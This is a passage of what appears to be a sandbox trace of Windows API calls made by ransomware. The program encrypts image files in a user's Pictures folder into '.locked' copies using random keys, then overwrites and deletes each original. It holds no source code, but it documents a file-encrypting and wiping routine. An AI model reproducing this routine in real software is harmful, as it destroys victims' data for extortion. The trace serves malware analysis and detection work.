	[0079.263] SetEvent (hEvent=0xb4) returned 1
	[0079.264] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.264] SetEvent (hEvent=0xb4) returned 1
	[0079.265] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.265] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.265] SetEvent (hEvent=0xb4) returned 1
	[0079.265] SetEvent (hEvent=0x78) returned 1
	[0079.265] SetEvent (hEvent=0x80) returned 1
	[0079.265] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.266] SetEvent (hEvent=0x80) returned 1
	[0079.266] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\HaIDB7df_KEDqx-Mz.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\haidb7df_kedqx-mz.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.266] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0079.267] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0079.285] CloseHandle (hObject=0xc0) returned 1
	[0079.285] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\HaIDB7df_KEDqx-Mz.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\haidb7df_kedqx-mz.png")) returned 1
	[0079.288] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\I z4x m24CvR.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\i z4x m24cvr.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970aa260, ftCreationTime.dwHighDateTime=0x1d4ce02, ftLastAccessTime.dwLowDateTime=0x50dc5ce0, ftLastAccessTime.dwHighDateTime=0x1d4ced2, ftLastWriteTime.dwLowDateTime=0x50dc5ce0, ftLastWriteTime.dwHighDateTime=0x1d4ced2, nFileSizeHigh=0x0, nFileSizeLow=0xfb32)) returned 1
	[0079.288] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\I z4x m24CvR.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\i z4x m24cvr.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.288] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.305] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\I z4x m24CvR.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\i z4x m24cvr.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0079.305] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.341] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c4e0 | out: pbBuffer=0x1238c4e0) returned 1
	[0079.341] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8170 | out: pbBuffer=0x127a8170) returned 1
	[0079.341] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0079.341] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0079.344] SetEvent (hEvent=0x78) returned 1
	[0079.344] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0xfb32, lpOverlapped=0x0) returned 1
	[0079.346] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xfb32, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0xfb32, lpOverlapped=0x0) returned 1
	[0079.347] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0079.347] CloseHandle (hObject=0xc4) returned 1
	[0079.347] CloseHandle (hObject=0xc0) returned 1
	[0079.348] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.349] SetEvent (hEvent=0x78) returned 1
	[0079.349] SetEvent (hEvent=0x80) returned 1
	[0079.349] SetEvent (hEvent=0xb4) returned 1
	[0079.350] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.350] SetEvent (hEvent=0xa8) returned 1
	[0079.350] SetEvent (hEvent=0xb4) returned 1
	[0079.350] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123f2000*, nNumberOfCharsToWrite=0x5a, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123f2000*, lpNumberOfCharsWritten=0x127ee7d8*=0x5a) returned 1
	[0079.355] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\I z4x m24CvR.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\i z4x m24cvr.png")) returned 1
	[0079.373] SetEvent (hEvent=0x80) returned 1
	[0079.377] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.378] SetEvent (hEvent=0x80) returned 1
	[0079.378] SetEvent (hEvent=0xb4) returned 1
	[0079.378] SetEvent (hEvent=0x78) returned 1
	[0079.378] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.378] SetEvent (hEvent=0x78) returned 1
	[0079.380] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.380] SetEvent (hEvent=0x78) returned 1
	[0079.380] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.380] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.381] SetEvent (hEvent=0x78) returned 1
	[0079.381] SetEvent (hEvent=0xb4) returned 1
	[0079.381] SetEvent (hEvent=0x80) returned 1
	[0079.381] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.381] SetEvent (hEvent=0x80) returned 1
	[0079.381] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\I z4x m24CvR.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\i z4x m24cvr.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.382] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0079.382] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0079.399] CloseHandle (hObject=0xc0) returned 1
	[0079.399] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\I z4x m24CvR.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\i z4x m24cvr.png")) returned 1
	[0079.403] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\JACz.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\jacz.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f77c060, ftCreationTime.dwHighDateTime=0x1d4cab2, ftLastAccessTime.dwLowDateTime=0xc57ff270, ftLastAccessTime.dwHighDateTime=0x1d4d353, ftLastWriteTime.dwLowDateTime=0xc57ff270, ftLastWriteTime.dwHighDateTime=0x1d4d353, nFileSizeHigh=0x0, nFileSizeLow=0xf715)) returned 1
	[0079.403] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\JACz.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\jacz.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.403] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.403] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\JACz.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\jacz.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0079.404] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.404] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c4e0 | out: pbBuffer=0x1238c4e0) returned 1
	[0079.404] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8170 | out: pbBuffer=0x127a8170) returned 1
	[0079.404] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0079.404] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0079.406] SetEvent (hEvent=0xb4) returned 1
	[0079.406] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0xf715, lpOverlapped=0x0) returned 1
	[0079.408] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xf715, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0xf715, lpOverlapped=0x0) returned 1
	[0079.409] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0079.409] CloseHandle (hObject=0xc4) returned 1
	[0079.410] CloseHandle (hObject=0xc0) returned 1
	[0079.410] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.410] SetEvent (hEvent=0xb4) returned 1
	[0079.410] SetEvent (hEvent=0x80) returned 1
	[0079.410] SetEvent (hEvent=0x78) returned 1
	[0079.410] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.411] SetEvent (hEvent=0x78) returned 1
	[0079.411] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123f2000*, nNumberOfCharsToWrite=0x52, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123f2000*, lpNumberOfCharsWritten=0x127ee7d8*=0x52) returned 1
	[0079.412] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\JACz.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\jacz.png")) returned 1
	[0079.431] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0079.431] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.431] SetEvent (hEvent=0xa8) returned 1
	[0079.431] SetEvent (hEvent=0x80) returned 1
	[0079.435] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.436] SetEvent (hEvent=0x80) returned 1
	[0079.436] SetEvent (hEvent=0x78) returned 1
	[0079.436] SetEvent (hEvent=0xb4) returned 1
	[0079.436] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.436] SetEvent (hEvent=0xb4) returned 1
	[0079.438] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.438] SetEvent (hEvent=0xb4) returned 1
	[0079.438] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.438] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.439] SetEvent (hEvent=0xb4) returned 1
	[0079.439] SetEvent (hEvent=0x78) returned 1
	[0079.439] SetEvent (hEvent=0x80) returned 1
	[0079.439] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.439] SetEvent (hEvent=0x80) returned 1
	[0079.439] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\JACz.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\jacz.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.440] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0079.440] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0079.459] CloseHandle (hObject=0xc0) returned 1
	[0079.459] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\JACz.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\jacz.png")) returned 1
	[0079.462] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\JMnIuomaZSTsbg88vc.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\jmniuomazstsbg88vc.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5245300, ftCreationTime.dwHighDateTime=0x1d4ce25, ftLastAccessTime.dwLowDateTime=0x5024a270, ftLastAccessTime.dwHighDateTime=0x1d4d13f, ftLastWriteTime.dwLowDateTime=0x5024a270, ftLastWriteTime.dwHighDateTime=0x1d4d13f, nFileSizeHigh=0x0, nFileSizeLow=0xbef9)) returned 1
	[0079.462] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\JMnIuomaZSTsbg88vc.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\jmniuomazstsbg88vc.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.462] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.463] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\JMnIuomaZSTsbg88vc.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\jmniuomazstsbg88vc.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0079.463] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.463] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c4e0 | out: pbBuffer=0x1238c4e0) returned 1
	[0079.463] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8170 | out: pbBuffer=0x127a8170) returned 1
	[0079.463] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0079.463] WriteFile (in: hFile=0xc4, lpBuffer=0x12799000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x12799000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0079.465] SetEvent (hEvent=0x78) returned 1
	[0079.465] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0xbef9, lpOverlapped=0x0) returned 1
	[0079.468] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xbef9, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0xbef9, lpOverlapped=0x0) returned 1
	[0079.469] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0079.469] CloseHandle (hObject=0xc4) returned 1
	[0079.469] CloseHandle (hObject=0xc0) returned 1
	[0079.469] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.470] SetEvent (hEvent=0x78) returned 1
	[0079.470] SetEvent (hEvent=0x80) returned 1
	[0079.470] SetEvent (hEvent=0xb4) returned 1
	[0079.470] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.470] SetEvent (hEvent=0xa8) returned 1
	[0079.470] SetEvent (hEvent=0xb4) returned 1
	[0079.470] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123ce000*, nNumberOfCharsToWrite=0x60, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123ce000*, lpNumberOfCharsWritten=0x127ee7d8*=0x60) returned 1
	[0079.472] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\JMnIuomaZSTsbg88vc.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\jmniuomazstsbg88vc.jpg")) returned 1
	[0079.493] SetEvent (hEvent=0x80) returned 1
	[0079.497] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.498] SetEvent (hEvent=0x80) returned 1
	[0079.498] SetEvent (hEvent=0xb4) returned 1
	[0079.498] SetEvent (hEvent=0x78) returned 1
	[0079.498] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.498] SetEvent (hEvent=0xa8) returned 1
	[0079.498] SetEvent (hEvent=0x78) returned 1
	[0079.500] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.500] SetEvent (hEvent=0x78) returned 1
	[0079.501] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.501] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.501] SetEvent (hEvent=0x78) returned 1
	[0079.501] SetEvent (hEvent=0xb4) returned 1
	[0079.501] SetEvent (hEvent=0x80) returned 1
	[0079.501] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.501] SetEvent (hEvent=0x80) returned 1
	[0079.501] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\JMnIuomaZSTsbg88vc.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\jmniuomazstsbg88vc.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.502] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0079.503] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0079.519] CloseHandle (hObject=0xc0) returned 1
	[0079.520] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\JMnIuomaZSTsbg88vc.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\jmniuomazstsbg88vc.jpg")) returned 1
	[0079.523] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\JYg6TnEulkyn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\jyg6tneulkyn.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6da51630, ftCreationTime.dwHighDateTime=0x1d4c74a, ftLastAccessTime.dwLowDateTime=0x25f01ab0, ftLastAccessTime.dwHighDateTime=0x1d4d2d0, ftLastWriteTime.dwLowDateTime=0x25f01ab0, ftLastWriteTime.dwHighDateTime=0x1d4d2d0, nFileSizeHigh=0x0, nFileSizeLow=0x1def)) returned 1
	[0079.523] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\JYg6TnEulkyn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\jyg6tneulkyn.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.523] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\JYg6TnEulkyn.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\jyg6tneulkyn.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0079.524] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.524] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c4e0 | out: pbBuffer=0x1238c4e0) returned 1
	[0079.524] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8170 | out: pbBuffer=0x127a8170) returned 1
	[0079.524] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0079.524] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0079.528] SetEvent (hEvent=0xb4) returned 1
	[0079.528] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x1def, lpOverlapped=0x0) returned 1
	[0079.529] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x1def, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x1def, lpOverlapped=0x0) returned 1
	[0079.529] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0079.529] CloseHandle (hObject=0xc4) returned 1
	[0079.529] CloseHandle (hObject=0xc0) returned 1
	[0079.529] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.530] SetEvent (hEvent=0xb4) returned 1
	[0079.530] SetEvent (hEvent=0x80) returned 1
	[0079.530] SetEvent (hEvent=0x78) returned 1
	[0079.530] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
